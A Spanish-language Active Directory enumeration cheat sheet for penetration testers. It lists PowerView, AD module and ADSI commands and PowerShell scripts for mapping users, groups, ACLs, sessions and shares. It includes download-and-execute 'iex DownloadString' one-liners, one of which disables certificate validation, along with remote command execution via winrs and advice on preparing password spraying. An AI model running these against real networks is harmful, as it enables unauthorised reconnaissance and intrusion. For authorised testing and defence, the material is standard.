Enumeración manual
Dominio
Obtener dominio actual
PowerView
Get-Domain
AD Module
Get-ADDomain
CMD
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
ADSI
([ADSI]"").distinguishedName
([ADSI]"LDAP://RootDSE").defaultNamingContext
Obtener objeto de otro dominio
PowerView
Get-Domain -Domain xtormincorp.local
AD Module
Get-ADDomain -Identity xtormincorp.local
Obtener SID del dominio actual
PowerView
Get-DomainSID
AD Module
(Get-ADDomain).DomainSID
Obtener todos los dominios
PowerView
Get-ForestDomain -Verbose
AD Module
(Get-ADForest).Domains
CMD
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
Obtener relación de confianza del dominio
PowerView
Get-ForestDomain | %{Get-DomainTrust -Domain $_.Name} | ?{$_.TrustAttributes -eq "FILTER_SIDS"}
Get-ForestDomain -Forest eurocorp.local | %{Get-DomainTrust -Domain $_.Name}
Get-DomainTrust | ?{$_.TrustAttributes -eq "FILTER_SIDS"}
AD Module
Get-ADTrust -Filter *
Get-ADForest | %{Get-ADTrust -Filter *}
(Get-ADForest).Domains | %{Get-ADTrust -Filter '(intraForest -ne $True) -and (ForestTransitive -ne $True)' -Server $_}
Get-ADTrust -Filter '(intraForest -ne $True) -and(ForestTransitive -ne $True)'
Get-ADTrust -Filter * -Server xtormincorp.local
Política del dominio
Obtener la política del dominio actual
PowerView
Get-DomainPolicyData
(Get-DomainPolicyData).systemaccess
Obtener la política de otro dominio
PowerView
(Get-DomainPolicyData -domain
xtormincorp.local).systemaccess
Controladores de dominio
Obtener controladores de dominio del dominio actual
PowerView
Get-DomainController
AD Module
Get-ADDomainController
CMD
$domain="xtormincorp.local"
nslookup $domain
nslookup -type=srv _ldap._tcp.dc._msdcs.$domain
nltest /dclist:$domain
Obtener controladores de dominio del otro dominio
PowerView
Get-DomainController -Domain xtormincorp.local
AD Module
Get-ADDomainController -DomainName xtormincorp.local -
Discover
ADSI
$dom = [ADSI]"LDAP://$(([ADSI]'LDAP://RootDSE').defaultNamingContext)"
$search = New-Object DirectoryServices.DirectorySearcher($dom)
$search.Filter = "(userAccountControl:1.2.840.113556.1.4.803:=8192)"
$search.FindAll() | ForEach-Object { $_.Properties.samaccountname }
Usuarios
Obtener una lista de usuarios del dominio actual
PowerView
Get-DomainUser
Get-DomainUser | select -ExpandProperty samaccountname
# Para guardar toda la salida en un CSV
Get-DomainUser |
Tee-Object -Variable allDomainUsers |
Format-Table -AutoSize *
$allDomainUsers | Export-Csv -NoTypeInformation -Encoding UTF8 -Path ".\all_domain_users.csv"
AD Module
Get-ADUser -Filter * -Properties *
Get-ADUser -Filter * -Server xtormincorp.local -Properties *
Net
net user /domain
ADSI
$dom = [ADSI]"LDAP://$(([ADSI]'LDAP://RootDSE').defaultNamingContext)"
$search = New-Object DirectoryServices.DirectorySearcher($dom)
$search.Filter = "(objectClass=user)"
$search.FindAll() | ForEach-Object { $_.Properties.samaccountname }
Obtener información/propiedades de un usuario
PowerView
Get-DomainUser -Identity xtormin
Get-DomainUser | Where-Object { $_.Name -like "*teresa*" }
Get-DomainUser | Where-Object { $_.DisplayName -like "*teresa*" }
Get-DomainUser -Identity xtormin -Properties *
Get-DomainUser -Properties samaccountname,logonCount
AD Module
Get-ADUser -Identity xtormin -Properties *
Get-ADUser -Identity xtormin -Server xtormincorp.local -Properties *
Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name
Get-ADUser -Filter * -Properties * | select name,logoncount,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}
Get-ADUser -Filter 'Name -like "*laura"' -Server za.tryhackme.com | Format-Table Name,SamAccountName -A
Net
net user xtormin /domain
ADSI
$usuario = "xtormin"
$dom = [ADSI]"LDAP://$(([ADSI]'LDAP://RootDSE').defaultNamingContext)"
$search = New-Object DirectoryServices.DirectorySearcher($dom)
$search.Filter = "(&(objectClass=user)(sAMAccountName=$usuario))"
$search.FindOne().Properties
Obtener grupos a los que pertenece un usuario
ADSI
$usuario = "xtormincorp/xtormin"([ADSI]"WinNT://$usuario,user").Groups() | ForEach-Object { $_.GetType().InvokeMember("Name", 'GetProperty', $null, $_, $null) }
Obtener los usuarios no administradores con permisos de edición de GPOs
Import-Module ActiveDirectory
$Results = @()
# Obtener todos los objetos GPO
$GPOs = Get-ADObject -Filter { ObjectClass -eq 'groupPolicyContainer' } -Properties nTSecurityDescriptor
foreach ($GPO in $GPOs) {
$acls = $GPO.nTSecurityDescriptor.DiscretionaryAcl
foreach ($acl in $acls) {
if ($acl.AccessControlType -eq "Allow") {
$sid = New-Object System.Security.Principal.SecurityIdentifier($acl.SecurityIdentifier)
$account = try { $sid.Translate([System.Security.Principal.NTAccount]).Value } catch { $null }
if ($account -and ($account -notmatch "Administrators")) {
if ($acl.ActiveDirectoryRights -match "WriteProperty|GenericWrite|WriteDacl|WriteOwner") {
$Results += [PSCustomObject]@{
GPOName = $GPO.Name
Account = $account
Rights = $acl.ActiveDirectoryRights
}
}
}
}
}
}
# Incluir la fecha en el nombre del archivo
$Date = Get-Date -Format "yyyyMMdd"
$FileName = ".\GPO_Permissions_Report_$Date.csv"
# Exportar resultados a CSV
$Results | Export-Csv -Path $FileName -NoTypeInformation
Write-Output "Reporte exportado a $FileName"
Obtener usuarios dentro del grupo administradores
([ADSI]"WinNT://./Administrators,group").Members() | ForEach-Object { $_.GetType().InvokeMember("Name", 'GetProperty', $null, $_, $null) }
Obtener los usuarios privilegiados que no se encuentran en el grupo de usuarios protegidos
# Obtener miembros de grupos privilegiados
$PrivilegedGroups = @("Domain Admins", "Enterprise Admins", "Schema Admins", "Administrators")
$PrivilegedUsers = foreach ($Group in $PrivilegedGroups) {
Get-ADGroupMember -Identity $Group -Recursive | Where-Object { $_.objectClass -eq 'user' }
}
# Obtener usuarios del grupo Protected Users
$ProtectedUsers = Get-ADGroupMember -Identity "Protected Users" -Recursive | Where-Object { $_.objectClass -eq 'user' }
# Preparar resultados
$Results = foreach ($User in $PrivilegedUsers) {
$adUser = Get-ADUser -Identity $User.SamAccountName -Properties adminCount
$isProtected = $ProtectedUsers.SamAccountName -contains $User.SamAccountName
$isVulnerable = if (-not $isProtected -or $adUser.adminCount -ne 1) { $true } else { $false }
[PSCustomObject]@{
Name = $User.Name
SamAccountName = $User.SamAccountName
DistinguishedName = $User.DistinguishedName
InProtectedUsers = $isProtected
AdminCount = $adUser.adminCount
IsVulnerable = $isVulnerable
}
}
# Incluir la fecha en el nombre del archivo
$Date = Get-Date -Format "yyyyMMdd"
$FileName = ".\Privileged_Users_Status_$Date.csv"
# Exportar resultados a CSV
$Results | Export-Csv -Path $FileName -NoTypeInformation
Write-Output "Reporte exportado a $FileName"
Obtiene los usuarios miembros de grupos privilegiados.
Compara contra los miembros del grupo
Protected Users
.Consulta el atributo
adminCount
de cada usuario.Agrega columnas:
Si pertenece o no a
Protected Users
.El valor de
adminCount
.Si es considerado vulnerable (por no estar en
Protected Users
o por no teneradminCount = 1
).
Incluye la fecha en el nombre del CSV para trazabilidad.
Grupos
Obtener todos los grupos del dominio
PowerView
Get-DomainGroup
Get-DomainGroup | select -ExpandProperty samaccountname
# Para guardar la salida en un CSV
Get-DomainGroup |
Tee-Object -Variable allDomainGroups |
Format-Table -AutoSize *
$allDomainGroups | Export-Csv -NoTypeInformation -Encoding UTF8 -Path ".\all_domain_groups.csv"
Net
net group /domain
ADSI
$dom = [ADSI]"LDAP://$(([ADSI]'LDAP://RootDSE').defaultNamingContext)"
$search = New-Object DirectoryServices.DirectorySearcher($dom)
$search.Filter = "(objectClass=group)"
$search.FindAll() | ForEach-Object { $_.Properties.name }
Obtener propiedades de un grupo
AD Module
Get-ADGroup -Identity Administrators -Server xtormincorp.local
Net
net group "Administrators" /domain
Obtener miembros de un grupo
AD Module
$dom = [ADSI]"LDAP://$(([ADSI]'LDAP://RootDSE').defaultNamingContext)"
$search = New-Object DirectoryServices.DirectorySearcher($dom)
$grupo = "Administrators"
$search.Filter = "(&(objectClass=group)(cn=$grupo))"
$grupoAD = $search.FindOne()
$grupoAD.Properties.member
Obtener grupos a los que pertenece un grupo
AD Module
Get-ADGroupMember -Identity Administrators -Server xtormincorp.local
Obtener todos los miembros de todos los grupos de forma recursiva
# Obtener todos los grupos del dominio
$allGroups = Get-ADGroup -Filter *
# Crear lista para guardar resultados
$groupMembers = @()
# Iterar sobre cada grupo
foreach ($group in $allGroups) {
try {
$members = Get-ADGroupMember -Identity $group.SamAccountName -Recursive -ErrorAction Stop
foreach ($member in $members) {
$groupMembers += [PSCustomObject]@{
GroupName = $group.Name
GroupSamAccount = $group.SamAccountName
MemberName = $member.Name
MemberSamAccount = $member.SamAccountName
MemberObjectClass = $member.ObjectClass
DistinguishedName = $member.DistinguishedName
}
}
} catch {
Write-Warning "Error al enumerar miembros del grupo $($group.SamAccountName): $_"
}
}
# Mostrar en formato tabla en consola
$groupMembers | Format-Table -AutoSize
# Exportar a CSV
$groupMembers | Export-Csv -NoTypeInformation -Encoding UTF8 -Path ".\domain_group_members_recursive.csv"
Obtener todos los miembros de todos los grupos (lista txt) de forma recursiva
Input: Lista de grupos en un fichero txt (ej: group_list.txt)
Server Management
IT Support
Ejecución del script:
# Definir la ruta del archivo de entrada con la lista de grupos
$inputFile = ".\group_list.txt"
$outputFile = ".\groups_members.csv"
# Verificar que el archivo de entrada existe
if (-not (Test-Path $inputFile)) {
Write-Error "El archivo de entrada $inputFile no existe."
exit
}
# Leer los nombres de los grupos desde el archivo de texto
$groupNames = Get-Content $inputFile
# Crear un array para almacenar los resultados
$groupMembers = @()
# Configurar el encabezado del CSV con el formato requerido "GroupName;Member"
"GroupName;Member" | Out-File -FilePath $outputFile -Encoding UTF8
# Iterar sobre cada grupo en la lista
foreach ($groupName in $groupNames) {
# Eliminar espacios en blanco al inicio y final
$groupName = $groupName.Trim()
# Saltar líneas vacías
if ([string]::IsNullOrEmpty($groupName)) {
continue
}
try {
Write-Host "Procesando grupo: $groupName"
# Obtener los miembros del grupo recursivamente
$members = Get-ADGroupMember -Identity $groupName -Recursive -ErrorAction Stop
if ($members.Count -eq 0) {
# Si el grupo no tiene miembros, añadir una entrada indicándolo
"$groupName;Sin miembros" | Out-File -FilePath $outputFile -Encoding UTF8 -Append
} else {
# Procesar cada miembro del grupo
foreach ($member in $members) {
# Escribir directamente al archivo CSV con el formato "GroupName;Member"
"$groupName;$($member.Name)" | Out-File -FilePath $outputFile -Encoding UTF8 -Append
}
}
} catch {
$errorMessage = $_.Exception.Message
Write-Warning "Error al enumerar miembros del grupo $groupName`: $errorMessage"
# Registrar los grupos con error en el CSV
"$groupName;Error: $errorMessage" | Out-File -FilePath $outputFile -Encoding UTF8 -Append
}
}
Write-Host "Proceso completado. Resultados guardados en $outputFile"
Output: Fichero CSV con la lista de grupos y miembros.

Obtener los miembros recursivos del grupo "Domain Admins"
$domainAdmins = Get-DomainGroupMember -Identity "Domain Admins" -Recurse
# Mostrar los resultados en formato tabla
$domainAdmins | Select-Object Name, SamAccountName, ObjectClass, DistinguishedName | Format-Table -AutoSize
# Exportar todos los atributos disponibles a un fichero CSV
$domainAdmins | Select-Object * | Export-Csv -Path ".\domain_admins_members.csv" -NoTypeInformation -Encoding UTF8
Obtener todos los grupos con "admin" y sus miembros (si los hay)
# Enumerar grupos con "admin" en el nombre
$adminGroups = Get-DomainGroup -LDAPFilter "(name=*admin*)"
# Crear una lista para todos los resultados
$allAdminGroupMembers = @()
foreach ($group in $adminGroups) {
try {
# Intentar obtener los miembros del grupo
$members = Get-DomainGroupMember -Identity $group.DistinguishedName -Recurse -ErrorAction Stop
if ($members.Count -eq 0) {
# Grupo sin miembros
$entry = [PSCustomObject]@{
GroupName = $group.Name
Name = ''
SamAccountName = ''
ObjectClass = ''
DistinguishedName = ''
}
$allAdminGroupMembers += $entry
} else {
# Agregar cada miembro al array
foreach ($member in $members) {
$member | Add-Member -NotePropertyName GroupName -NotePropertyValue $group.Name -Force
$allAdminGroupMembers += $member
}
}
} catch {
# Si el grupo no permite consultar miembros, registrar igual el grupo vacío
Write-Warning "❌ Error en grupo '$($group.Name)': $_"
$entry = [PSCustomObject]@{
GroupName = $group.Name
Name = 'ERROR'
SamAccountName = ''
ObjectClass = ''
DistinguishedName = ''
}
$allAdminGroupMembers += $entry
}
}
# Mostrar en tabla los resultados clave
$allAdminGroupMembers |
Select-Object GroupName, Name, SamAccountName, ObjectClass, DistinguishedName |
Format-Table -AutoSize
# Exportar todo a CSV
$allAdminGroupMembers |
Select-Object * |
Export-Csv -Path ".\admin_groups_members_full.csv" -NoTypeInformation -Encoding UTF8
Equipos / Servidores
Obtener equipos/servidores
PowerView
Get-DomainComputer
Get-DomainComputer | select -ExpandProperty dnshostname
# Para guardar toda la salida en un CSV
$computers = Get-DomainComputer -Properties *
$computers | Select-Object Name, OperatingSystem, Enabled, LastLogonDate, DistinguishedName | Format-Table -AutoSize
$computers | Select-Object * | Export-Csv -NoTypeInformation -Encoding UTF8 -Path "C:\Pentest\Enum\domain_computers.csv"
ADSI
$dom = [ADSI]"LDAP://$(([ADSI]'LDAP://RootDSE').defaultNamingContext)"
$search = New-Object DirectoryServices.DirectorySearcher($dom)
$search.Filter = "(objectClass=computer)"
$search.FindAll() | ForEach-Object { $_.Properties.name }
Unidades organizativas
Obtener unidades organizativas
PowerView
Get-DomainOU
Get-DomainOU | select -ExpandProperty name
Get-NetOU -FullData
# Para guardar toda la salida en un CSV
$ous = Get-DomainOU -Properties *
$ous | Select-Object Name, DistinguishedName, GPOApplied, GUID | Format-Table -AutoSize
$ous | Select-Object * | Export-Csv -NoTypeInformation -Encoding UTF8 -Path ".\domain_ous.csv"
# Otra opción con Get-NetOU
$netOUs = Get-NetOU
$netOUs | Select-Object Name, distinguishedname, gplink, objectguid | Format-Table -AutoSize
$netOUs | Select-Object * | Export-Csv -Path ".\net_ous.csv" -NoTypeInformation -Encoding UTF8
Obtener todos los equipos asociados a una unidad organizativa
PowerView
$OUName="<Nombre de la OU>"
(Get-DomainOU -Identity $OUName).distinguishedname | %{Get-DomainComputer -SearchBase $_} | select name
Obtener GPLink asociada a una unidad organizativa
PowerView
$OUName="<Nombre de la OU>"
(Get-DomainOU -Identity $OUName).gplink
$CN="{7378F170-3A0C-490C-B355-1E4618BC785D}"
Get-DomainGPO -Identity $CN
El siguiente comando une los dos anteriores en uno:
$OUName="<Nombre de la OU>"
Get-DomainGPO -Identity (Get-DomainOU -Identity $OUName).gplink.substring(11,(Get-DomainOU -Identity $OUName).gplink.length-72
Política de contraseñas
Net
net accounts /domain
ACL (Listas de control de acceso)
Obtener las ACLs
GUI con Out-GridView:
Invoke-ACLScanner -ResolveGUIDs | Out-GridView

PowerShell:
PowerView
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs -Verbose
Get-ObjectAcl -SamAccountName <AccountName> -ResolveGUIDs
Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose
Obtener los ACLs de un objeto, por ejemplo, "Administrator"
# Obtener los ACLs del objeto 'Administrator'
$acls = Get-DomainObjectAcl -SamAccountName Administrator -ResolveGUIDs
# Resolver el SID de cada ACL manualmente si no está ya resuelto
foreach ($acl in $acls) {
if (-not $acl.IdentityReference) {
try {
$sidObj = New-Object System.Security.Principal.SecurityIdentifier($acl.SecurityIdentifier)
$acl | Add-Member -NotePropertyName "IdentityReference" -NotePropertyValue $sidObj.Translate([System.Security.Principal.NTAccount]) -Force
} catch {
$acl | Add-Member -NotePropertyName "IdentityReference" -NotePropertyValue $acl.SecurityIdentifier -Force
}
}
}
# Mostrar campos clave
$acls | Select-Object IdentityReference, ActiveDirectoryRights, ObjectAceType, InheritanceFlags, AceType, IsInherited |
Format-Table -AutoSize
# Exportar todos los campos a CSV
$acls | Select-Object * | Export-Csv -Path ".\administrator_objectacls_full.csv" -NoTypeInformation -Encoding UTF8
Write-Host "`nExportación completada: administrator_objectacls_full.csv" -ForegroundColor Green
Obtener los ACLs de SYSVOL
# Ruta SYSVOL adaptada a tu dominio actual
$sysvolPath = "\\dc.xtormincorp.local\SYSVOL"
# Obtener ACL del recurso compartido
$acl = Get-PathAcl -Path $sysvolPath
# Mostrar campos clave en tabla
$acl | Select-Object IdentityReference, FileSystemRights, AccessControlType, IsInherited, InheritanceFlags, PropagationFlags |
Format-Table -AutoSize
# Exportar todos los datos a CSV
$acl | Select-Object * | Export-Csv -Path ".\sysvol_acl_full.csv" -NoTypeInformation -Encoding UTF8
Write-Host "`nExportación completada: sysvol_acl_full.csv" -ForegroundColor Green
Lo mismo, pero recursivo:
# Ruta SYSVOL adaptada a tu dominio
$rootPath = "\\dc.xtormincorp.local\SYSVOL"
# Array para almacenar todos los ACLs
$allACLs = @()
# Obtener recursivamente todos los archivos y carpetas
$items = Get-ChildItem -Path $rootPath -Recurse -Force -ErrorAction SilentlyContinue
# Añadir también la raíz
$items += Get-Item -Path $rootPath
foreach ($item in $items) {
try {
$acl = Get-PathAcl -Path $item.FullName
foreach ($entry in $acl) {
$entry | Add-Member -NotePropertyName Path -NotePropertyValue $item.FullName -Force
$allACLs += $entry
}
} catch {
Write-Warning "❌ Error al obtener ACL de: $($item.FullName)"
}
}
# Mostrar en tabla campos clave
$allACLs |
Select-Object Path, IdentityReference, FileSystemRights, AccessControlType, IsInherited |
Format-Table -AutoSize
# Exportar todos los campos a CSV
$allACLs | Select-Object * | Export-Csv -Path ".\sysvol_recursive_acls.csv" -NoTypeInformation -Encoding UTF8
Write-Host "`nExportación completada: sysvol_recursive_acls.csv" -ForegroundColor Green
Obtener ACLs que podrían ser interesantes
PowerView
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
Invoke-ACLScanner -ResolveGUIDs
Get-PathAcl -Path "\\files.xtormincorp.local\share"
GPO
Se enumera información sobre las políticas de grupo e información de la configuración del usuario. Como los grupos de seguridad a los que pertenece, versión del sistema operativo, nombre de dominio, etc.
PowerView
Get-NetGPO
Get-NetGPO -ComputerName <equipo>
Get-NetGPOGroup
Find-GPOComputerAdmin -ComputerName <equipo>
CMD
gpresult /r
Objetos AD
Obtener todos los objetos que hayan cambiado tras una determinada fecha
AD Module
$ChangeDate = New-Object DateTime(2022, 02, 28, 12, 00, 00)
Get-ADObject -Filter 'whenChanged -gt $ChangeDate' -includeDeletedObjects -Server xtormincorp.local
Enumerar cuentas que cuenten con un badPwdCount > 0
Esto es útil para enumerar las cuentas que ya cuenten con intentos de contraseñas fallidas. ¿Y por qué es interesante este dato? Porque antes de hacer un ataque de password spraying, se pueden omitir estas cuentas de la prueba para evitar bloquearlas:
AD Module
Get-ADObject -Filter 'badPwdCount -gt 0' -Server za.tryhackme.com
Sesiones activas
Enumerar todas las sesiones usando el fichero CSV de equipos listado en el script anterior:
# Cargar equipos desde el CSV exportado anteriormente
$computers = Import-Csv -Path ".\domain_computers.csv"
# Array para almacenar resultados
$userSessions = @()
foreach ($computer in $computers) {
$hostname = $computer.dnshostname
if (-not $hostname) {
Write-Warning ("El equipo {0} no tiene un DNS hostname definido, se omite." -f $computer.name)
continue
}
Write-Host "`nObteniendo sesiones de: $hostname" -ForegroundColor Cyan
$result = [PSCustomObject]@{
Hostname = $hostname
NetLoggedOnUsers = $null
LocallyLoggedUsers = $null
LastLoggedUser = $null
}
try {
$netLogged = Get-NetLoggedon -ComputerName $hostname
if ($netLogged) {
$result.NetLoggedOnUsers = ($netLogged | Select-Object -ExpandProperty UserName) -join ', '
}
} catch {
$msg = $_.Exception.Message
Write-Warning ("Error en Get-NetLoggedon para {0}: {1}" -f $hostname, $msg)
}
try {
$localLogged = Get-LoggedonLocal -ComputerName $hostname
if ($localLogged) {
$result.LocallyLoggedUsers = ($localLogged | Select-Object -ExpandProperty UserName) -join ', '
}
} catch {
$msg = $_.Exception.Message
Write-Warning ("Error en Get-LoggedonLocal para {0}: {1}" -f $hostname, $msg)
}
try {
$lastLogged = Get-LastLoggedOn -ComputerName $hostname
if ($lastLogged) {
$result.LastLoggedUser = $lastLogged.UserName
}
} catch {
$msg = $_.Exception.Message
Write-Warning ("Error en Get-LastLoggedOn para {0}: {1}" -f $hostname, $msg)
}
$userSessions += $result
}
# Mostrar en tabla
$userSessions | Format-Table -AutoSize
# Exportar a CSV
$userSessions | Export-Csv -Path ".\user_sessions_all.csv" -NoTypeInformation -Encoding UTF8
Write-Host "`nSesiones exportadas a 'user_sessions_all.csv'" -ForegroundColor Green
Enumerar las sesiones de todas las máquinas remotas
Invoke-SessionHunter
https://github.com/Leo4j/Invoke-SessionHunter
. .\Invoke-SessionHunter.ps1
Invoke-SessionHunter -NoPortScan -RawResults | select Hostname,UserSession,Access
HostName UserSession Access
-------- ----------- ------
xcorp-appsrv xcorp\appadm False
xcorp-ci xcorp\ciadmi False
eu-dc EU\Administrator False
xcorp-adminsrv xcorp\appadm True
xcorp-adminsrv crm\srvadmin True
xcorp-adminsrv xcorp\websvc True
Si se quiere realizar lo mismo, pero contra una lista de hosts en concreto:
PS C:\AD\Tools> cat hosts.txt
FILESERVER
DC01
GESTION
CRM
Invoke-SessionHunter -NoPortScan -RawResults -Targets C:\AD\Tools\hosts.txt | select Hostname,UserSession,Access
Ejemplo de acceso remoto:
winrs -r:crm cmd /c "set computername && set username"
Otras vías de Conexión remota
PowerView
iex ((New-Object Net.WebClient).DownloadString('http://172.16.100.X/PowerView.ps1'))
iex ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Recon/PowerView.ps1'))
UserDomain : xtormincorp
UserName : srvadmin
ComputerName : crm.xtormincorp.local
IPAddress : 192.168.1.10
SessionFrom :
SessionFromName :
LocalAdmin :
Acceso remoto:
winrs -r:dcorp-mgmt hostname;whoami
winrs -r:crm cmd /c "set computername && set username"
Campertas compartidas / Shares
Find-DomainShare
Find-DomainShare -CheckShareAccess
PowerHuntShares
Es una herramienta en PowerShell desarrollada por NetSPI que permite descubrir y analizar potenciales vulnerabilidades en carpetas compartidas vía SMB en entornos Active Directory.
Su objetivo es facilitar la identificación de permisos excesivos, shares de alto riesgo y potenciales vectores de ataque a través de un análisis automatizado con generación de informes en HTML y CSV.
Import-Module .\PowerHuntShares.psm1
# Reduce SSL operating level to support connection to GitHub
[System.Net.ServicePointManager]::ServerCertificateValidationCallback ={$true}
[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12
# Download and load PowerHuntShares.psm1 into memory
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")
Se puede contar con una lista de hosts objetivo ya predefinida o que sea necesario enumerar.
Por ejemplo, se pueden enumerar los equipos en AD con el siguiente comando de PowerView y crear un txt con la lista para usarla posteriormente como lista de hosts objetivo en adelante:
Get-DomainComputer | select -ExpandProperty dnshostname > C:\Pentent\SMB\servers.txt
Luego, podemos usar la herramienta para crear un reporte con los resultados de las pruebas que se realicen:
Invoke-HuntSMBShares -NoPing -OutputDirectory C:\Pentent -HostList
Al finalizar se creará una carpeta con un fichero html que contendrá el resumen de resultados.

Con credenciales:
Invoke-HuntSMBShares -Threads 100 -OutputDirectory C:\Pentent\SMB\servers.txt -Credentials "DOMINIO\usuario"
Desde una máquina fuera del dominio:
runas /netonly /user:DOMINIO\usuario powershell.exe
Import-Module .\PowerHuntShares.psm1
Invoke-HuntSMBShares -OutputDirectory C:\Pentent\SMB\servers.txt -DomainController 10.0.0.1 -Credential DOMINIO\usuario
Registros a CSV
$OUTFOLDER="C:\Pentest\Enum"
mkdir $OUTFOLDER
Get-DomainUser | select -ExpandProperty samaccountname > $OUTFOLDER"\AD_users_list.txt"
Get-DomainGroup | select -ExpandProperty samaccountname > $OUTFOLDER"\AD_groups_list.txt"
Get-DomainComputer | select -ExpandProperty dnshostname > $OUTFOLDER"\AD_computers_list.txt"
Get-DomainOU | select -ExpandProperty name > $OUTFOLDER"\AD_OUs_list.txt"
Última actualización
¿Te fue útil?